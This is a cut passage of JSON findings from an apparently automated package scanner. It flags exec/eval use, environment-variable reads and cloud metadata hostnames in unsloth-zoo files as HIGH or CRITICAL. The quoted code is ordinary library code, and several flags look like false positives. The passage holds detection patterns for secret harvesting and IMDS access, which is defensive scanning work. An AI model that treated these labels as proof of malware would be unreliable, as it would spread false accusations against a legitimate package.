__import__(f\"mlx_vlm.models.{family}.language\", fromlist = [\"LanguageModel\"])\nExec: L1044: mx.eval(drafts) | L1068: mx.eval([array for pair in drawn for array in pair if array is not None] + ([] if drafts is None else [drafts])) | L1343: mx.eval(parts[-1]) | L1345: mx.eval(self._scan) | L1838: mx.eval(model.parameters())", "evidence_hash": "64b95579c569b39eddc493ac6b808258094d9b1d62154c55ae9c224c80577e45", "file_sha256": "29edc582762bcde4f88e36af0f04a0c652c6e0c1c0e3a06f3d354d211d7ae51c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "86f4fe7b9a8e5973951eaa5ce70e2c0b4823c1e6bf9e54487f8be41c6fa2ee2d" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L152: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L110: from urllib.request import url2pathname | L479: session = requests.Session()", "evidence_hash": "3bbd70075adbff1b2cb50de320002a0dce6324653a8727ec60c42e0943dccdac", "file_sha256": "6f0bf078140641cf3695be830a99866140aa2b72bd07ac5ed815fd30d060a21b" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L153: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L111: from urllib.request import url2pathname | L480: session = requests.Session()", "evidence_hash": "3bbd70075adbff1b2cb50de320002a0dce6324653a8727ec60c42e0943dccdac", "file_sha256": "93e5d2266ce26463cbc5ffed2714e52a5c50774c25795bf80b031320d8643582" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L153: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L111: from urllib.request import url2pathname | L480: session = requests.Session()", "evidence_hash": "3bbd70075adbff1b2cb50de320002a0dce6324653a8727ec60c42e0943dccdac", "file_sha256": "beff5caa75b8de60aa5b5532d8b48b0adc94130693ef39af1267071ee3f21a64" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L149: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L109: from urllib.request import url2pathname | L455: session = requests.Session()", "evidence_hash": "3bbd70075adbff1b2cb50de320002a0dce6324653a8727ec60c42e0943dccdac", "file_sha256": "4bec3c4d2d1637af6136f787d3feb07e59273c686cd930a640daad62ec5d4537" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L149: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L109: from urllib.request import url2pathname | L455: session = requests.Session()", "evidence_hash": "3bbd70075adbff1b2cb50de320002a0dce6324653a8727ec60c42e0943dccdac", "file_sha256": "3a8f069b29d6b4248edd23629aa8acf722c49f289c01f3b7182052e2bc557fe5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L149: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L109: from urllib.request import url2pathname | L455: session = requests.Session()", "evidence_hash": "3bbd70075adbff1b2cb50de320002a0dce6324653a8727ec60c42e0943dccdac", "file_sha256": "c9e5aa6e02f825503e73b5fc5e1c896545514f5c34d08a5be3aa24692443b4ba" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L145: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L110: from urllib.request import url2pathname | L479: session = requests.Session()", "evidence_hash": "972786b837f20621c6615cf1c38a0b84abe925d302d7317679bc0272643c0793", "file_sha256": "6f0bf078140641cf3695be830a99866140aa2b72bd07ac5ed815fd30d060a21b" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L146: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L111: from urllib.request import url2pathname | L480: session = requests.Session()", "evidence_hash": "972786b837f20621c6615cf1c38a0b84abe925d302d7317679bc0272643c0793", "file_sha256": "93e5d2266ce26463cbc5ffed2714e52a5c50774c25795bf80b031320d8643582" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L146: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L111: from urllib.request import url2pathname | L480: session = requests.Session()", "evidence_hash": "972786b837f20621c6615cf1c38a0b84abe925d302d7317679bc0272643c0793", "file_sha256": "beff5caa75b8de60aa5b5532d8b48b0adc94130693ef39af1267071ee3f21a64" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L142: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L109: from urllib.request import url2pathname | L455: session = requests.Session()", "evidence_hash": "972786b837f20621c6615cf1c38a0b84abe925d302d7317679bc0272643c0793", "file_sha256": "4bec3c4d2d1637af6136f787d3feb07e59273c686cd930a640daad62ec5d4537" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L142: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L109: from urllib.request import url2pathname | L455: session = requests.Session()", "evidence_hash": "972786b837f20621c6615cf1c38a0b84abe925d302d7317679bc0272643c0793", "file_sha256": "3a8f069b29d6b4248edd23629aa8acf722c49f289c01f3b7182052e2bc557fe5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L142: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L109: from urllib.request import url2pathname | L455: session = requests.Session()", "evidence_hash": "972786b837f20621c6615cf1c38a0b84abe925d302d7317679bc0272643c0793", "file_sha256": "c9e5aa6e02f825503e73b5fc5e1c896545514f5c34d08a5be3aa24692443b4ba" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1910: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2170: _mod = __import__(model_location, fromlist=items) | L7010: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7011: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7012: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7013: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7011: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7012: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7013: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7010: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7011: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7012: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1910: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2091: _modeling_file = eval(model_location) | L2826: f = eval(f\"{model_location}.{module}\") | L3185: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3186: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L4939: exec(f\"import {parent}\", locals(), globals()) | L5045: dir(eval(parent)), | L5051: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L5131: module = eval(f\"modeling_file.{module}\") | L5158: inner_class = eval(f\"modeling_file.{inner_class}\") | L5393: exec(f\"from timm.layers.norm_act import {norm}\") | L5401: forward = eval(norm).forward | L5407: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L5424: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L5432: forward = eval(block).forward | L5438: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L5682: exec(\nL5683: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL5684: globals(),\nL5685: locals(),\nL5686: ) | L5688: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5692: exec(\nL5693: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5694: globals(),\nL5695: locals(),\nL5696: ) | L5698: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L5775: source = eval(f\"{model_location}.torch\") | L5782: function = eval(f\"source.nn.{module}\") | L5976: exec(\"import transformers\", globals()) | L5993: exec(\nL5994: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL5995: ) | L5997: exec(\nL5998: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL5999: globals(),\nL6000: locals(),\nL6001: ) | L6235: source = eval(f\"modeling_file.{module}\") | L6249: source = eval(f\"modeling_file.{module}\") | L6362: source = eval(f\"modeling_file.{module}\") | L6400: source = eval(f\"{model_location}.{module}\") | L6480: source = eval(f\"{model_location}.{module}\") | L6528: source = eval(f\"{model_location}.{module}\") | L6766: source = eval(f\"{model_location}.{module}\") | L6777: exec(\nL6778: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL6779: globals(),\nL6780: ) | L6840: source = eval(f\"{model_location}.{module}\") | L6881: module_cls = eval(f\"{model_location}.{module}\") | L6918: module_cls = eval(f\"{model_location}.{module}\") | L6995: exec(\nL6996: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL6997: globals(),\nL6998: ) | L7060: exec(inner_training_loop, globals()) | L7069: function = eval(f\"{model_location}.{module}\") | L7161: function = eval(f\"{model_location}.{module}\") | L7345: exec(\nL7346: f\"{model_location}.{module} = combined_module.{module}\",\nL7347: globals(),\nL7348: locals(),\nL7349: ) | L7359: check_dicts = dir(eval(f\"{model_location}\")) | L7361: item = eval(f\"{model_location}.{check}\") | L7372: exec(\nL7373: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL7374: globals(),\nL7375: locals(),\nL7376: )", "evidence_hash": "aaba0e6f7c289e2d6ee4ac8ff927d691a450fb3913a4245aa0fab585dd28d871", "file_sha256": "0e87d9e68dfe0336ca28b48bb17d0dc063f9f438b9ca2cbc3027a9e34ee6f543" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1918: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2181: _mod = __import__(model_location, fromlist=items) | L7021: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7022: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7023: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7024: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7022: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7023: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7024: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7021: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7022: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7023: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1918: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2099: _modeling_file = eval(model_location) | L2837: f = eval(f\"{model_location}.{module}\") | L3196: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3197: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L4950: exec(f\"import {parent}\", locals(), globals()) | L5056: dir(eval(parent)), | L5062: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L5142: module = eval(f\"modeling_file.{module}\") | L5169: inner_class = eval(f\"modeling_file.{inner_class}\") | L5404: exec(f\"from timm.layers.norm_act import {norm}\") | L5412: forward = eval(norm).forward | L5418: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L5435: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L5443: forward = eval(block).forward | L5449: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L5693: exec(\nL5694: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL5695: globals(),\nL5696: locals(),\nL5697: ) | L5699: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5703: exec(\nL5704: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5705: globals(),\nL5706: locals(),\nL5707: ) | L5709: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L5786: source = eval(f\"{model_location}.torch\") | L5793: function = eval(f\"source.nn.{module}\") | L5987: exec(\"import transformers\", globals()) | L6004: exec(\nL6005: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL6006: ) | L6008: exec(\nL6009: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL6010: globals(),\nL6011: locals(),\nL6012: ) | L6246: source = eval(f\"modeling_file.{module}\") | L6260: source = eval(f\"modeling_file.{module}\") | L6373: source = eval(f\"modeling_file.{module}\") | L6411: source = eval(f\"{model_location}.{module}\") | L6491: source = eval(f\"{model_location}.{module}\") | L6539: source = eval(f\"{model_location}.{module}\") | L6777: source = eval(f\"{model_location}.{module}\") | L6788: exec(\nL6789: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL6790: globals(),\nL6791: ) | L6851: source = eval(f\"{model_location}.{module}\") | L6892: module_cls = eval(f\"{model_location}.{module}\") | L6929: module_cls = eval(f\"{model_location}.{module}\") | L7006: exec(\nL7007: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL7008: globals(),\nL7009: ) | L7071: exec(inner_training_loop, globals()) | L7080: function = eval(f\"{model_location}.{module}\") | L7172: function = eval(f\"{model_location}.{module}\") | L7356: exec(\nL7357: f\"{model_location}.{module} = combined_module.{module}\",\nL7358: globals(),\nL7359: locals(),\nL7360: ) | L7370: check_dicts = dir(eval(f\"{model_location}\")) | L7372: item = eval(f\"{model_location}.{check}\") | L7383: exec(\nL7384: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL7385: globals(),\nL7386: locals(),\nL7387: )", "evidence_hash": "aaba0e6f7c289e2d6ee4ac8ff927d691a450fb3913a4245aa0fab585dd28d871", "file_sha256": "086b2bbef8867ea629bf0d6dd494d2ed7ee72c1259c88b2ce11df7f72850bbc0" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1955: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2247: _mod = __import__(model_location, fromlist=items) | L7124: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7125: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7126: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7127: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7125: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7126: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7127: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7124: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7125: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7126: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1955: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2157: _modeling_file = eval(model_location) | L2903: f = eval(f\"{model_location}.{module}\") | L3262: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3263: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L5021: exec(f\"import {parent}\", locals(), globals()) | L5127: dir(eval(parent)), | L5133: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L5213: module = eval(f\"modeling_file.{module}\") | L5240: inner_class = eval(f\"modeling_file.{inner_class}\") | L5475: exec(f\"from timm.layers.norm_act import {norm}\") | L5483: forward = eval(norm).forward | L5489: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L5506: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L5514: forward = eval(block).forward | L5520: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L5764: exec(\nL5765: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL5766: globals(),\nL5767: locals(),\nL5768: ) | L5770: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5774: exec(\nL5775: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5776: globals(),\nL5777: locals(),\nL5778: ) | L5780: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L5857: source = eval(f\"{model_location}.torch\") | L5864: function = eval(f\"source.nn.{module}\") | L6060: exec(\"import transformers\", globals()) | L6077: exec(\nL6078: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL6079: ) | L6081: exec(\nL6082: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL6083: globals(),\nL6084: locals(),\nL6085: ) | L6319: source = eval(f\"modeling_file.{module}\") | L6334: source = eval(f\"modeling_file.{module}\") | L6458: source = eval(f\"modeling_file.{module}\") | L6504: source = eval(f\"{model_location}.{module}\") | L6584: source = eval(f\"{model_location}.{module}\") | L6632: source = eval(f\"{model_location}.{module}\") | L6880: source = eval(f\"{model_location}.{module}\") | L6891: exec(\nL6892: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL6893: globals(),\nL6894: ) | L6954: source = eval(f\"{model_location}.{module}\") | L6995: module_cls = eval(f\"{model_location}.{module}\") | L7032: module_cls = eval(f\"{model_location}.{module}\") | L7109: exec(\nL7110: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL7111: globals(),\nL7112: ) | L7174: exec(inner_training_loop, globals()) | L7183: function = eval(f\"{model_location}.{module}\") | L7275: function = eval(f\"{model_location}.{module}\") | L7459: exec(\nL7460: f\"{model_location}.{module} = combined_module.{module}\",\nL7461: globals(),\nL7462: locals(),\nL7463: ) | L7473: check_dicts = dir(eval(f\"{model_location}\")) | L7475: item = eval(f\"{model_location}.{check}\") | L7486: exec(\nL7487: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL7488: globals(),\nL7489: locals(),\nL7490: )", "evidence_hash": "aaba0e6f7c289e2d6ee4ac8ff927d691a450fb3913a4245aa0fab585dd28d871", "file_sha256": "afe70a19adbd0af19b79c985e87562add4590db58834e8835f3eb3ec627664aa" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L2043: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2348: _mod = __import__(model_location, fromlist=items) | L7237: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7238: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7239: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7240: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7238: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7239: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7240: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7237: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7238: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7239: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L2043: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2245: _modeling_file = eval(model_location) | L3013: f = eval(f\"{model_location}.{module}\") | L3372: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3373: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L5131: exec(f\"import {parent}\", locals(), globals()) | L5237: dir(eval(parent)), | L5243: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L5323: module = eval(f\"modeling_file.{module}\") | L5350: inner_class = eval(f\"modeling_file.{inner_class}\") | L5585: exec(f\"from timm.layers.norm_act import {norm}\") | L5593: forward = eval(norm).forward | L5599: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L5616: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L5624: forward = eval(block).forward | L5630: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L5876: exec(\nL5877: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL5878: globals(),\nL5879: locals(),\nL5880: ) | L5882: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5886: exec(\nL5887: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5888: globals(),\nL5889: locals(),\nL5890: ) | L5892: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L5969: source = eval(f\"{model_location}.torch\") | L5976: function = eval(f\"source.nn.{module}\") | L6171: exec(\"import transformers\", globals()) | L6189: exec(\nL6190: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL6191: ) | L6193: exec(\nL6194: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL6195: globals(),\nL6196: locals(),\nL6197: ) | L6431: source = eval(f\"modeling_file.{module}\") | L6446: source = eval(f\"modeling_file.{module}\") | L6570: source = eval(f\"modeling_file.{module}\") | L6616: source = eval(f\"{model_location}.{module}\") | L6696: source = eval(f\"{model_location}.{module}\") | L6744: source = eval(f\"{model_location}.{module}\") | L6993: source = eval(f\"{model_location}.{module}\") | L7004: exec(\nL7005: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL7006: globals(),\nL7007: ) | L7067: source = eval(f\"{model_location}.{module}\") | L7108: module_cls = eval(f\"{model_location}.{module}\") | L7145: module_cls = eval(f\"{model_location}.{module}\") | L7222: exec(\nL7223: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL7224: globals(),\nL7225: ) | L7287: exec(inner_training_loop, globals()) | L7296: function = eval(f\"{model_location}.{module}\") | L7388: function = eval(f\"{model_location}.{module}\") | L7572: exec(\nL7573: f\"{model_location}.{module} = combined_module.{module}\",\nL7574: globals(),\nL7575: locals(),\nL7576: ) | L7586: check_dicts = dir(eval(f\"{model_location}\")) | L7588: item = eval(f\"{model_location}.{check}\") | L7599: exec(\nL7600: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL7601: globals(),\nL7602: locals(),\nL7603: )", 